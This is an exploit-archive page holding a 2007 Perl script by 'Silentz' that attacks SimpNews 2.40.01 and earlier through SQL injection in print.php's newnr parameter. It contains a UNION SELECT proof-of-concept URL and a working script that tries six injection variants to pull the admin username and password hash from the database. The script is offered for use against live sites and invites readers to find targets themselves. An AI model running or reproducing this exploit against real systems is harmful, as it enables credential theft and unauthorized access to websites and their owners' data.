[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SimpNews <= 2.40.01 (print.php newnr) Remote SQL Injection Exploit
# Published : 2007-05-16
# Author : Silentz
# Previous Title : PHPGlossar 0.8 (format_menue) Remote File Inclusion Vulnerabilities
# Next Title : FAQEngine <= 4.16.03 (question.php questionref) SQL Injection Exploit
#!/usr/bin/perl -w
#################################################################################
# #
# SimpNews <= 2.40.01 SQL Injection Exploit #
# #
# Discovered by: Silentz #
# Payload: Admin Username & Hash Retrieval #
# Website: http://www.w4ck1ng.com #
# #
# Vulnerable Code (print.php): #
# #
# $sql = "select * from ".$tableprefix."_data where newsnr=$newsnr"; #
# #
# PoC: http://victim.com/simpnews/print.php?lang=en&layout=def&newsnr=-999 #
# UNION SELECT 0,0,0,password,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, #
# 0,0,0 FROM simpnews_users WHERE usernr=1 #
# #
# Subject To: magic_quotes_gpc set to off #
# GoogleDork: Get your own! #
# #
# Shoutz: The entire w4ck1ng community #
# #
#################################################################################
use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------rn";
print " SimpNews <= 2.40.01 SQL Injection Exploitrn";
print "-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_simpnews.pl [PATH]rnrn";
print "[PATH] = Path where SimpNews is locatedrnrn";
print "e.g. w4ck1ng_simpnews.pl http://victim.com/simpnews/rn";
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
exit();
}
$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
@paths = (
"print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1",
"print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1",
"print.php?lang=en&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1",
"print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1",
"print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1",
"print.php?lang=en&layout=def&newsnr=-999 UNION SELECT 0,0,0,password,username,username,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM simpnews_users WHERE usernr=1"
);
for($i=0;$i<6;$i++){
$host = $ARGV[0] . $paths[$i];
$res = $b->request(HTTP::Request->new(GET=>$host));
($user) = $res->content =~ /poster: (.*?)</font></td></tr>/;
($hash) = $res->content =~ /([0-9a-fA-F]{32})</font>/;
if($hash){ last; }
}
if($user && $hash){
print "-------------------------------------------------------------------------rn";
print " SimpNews <= 2.40.01 SQL Injection Exploitrn";
print "-------------------------------------------------------------------------rn";
print "[+] Admin User : $usern";
print "[+] Admin Hash : $hashn";
print "-------------------------------------------------------------------------rn";
print " http://www.w4ck1ng.comrn";
print " ...Silentzrn";
print "-------------------------------------------------------------------------rn";
} else {
print "nExploit Failed...n";
}
# www.Syue.com [2007-05-16]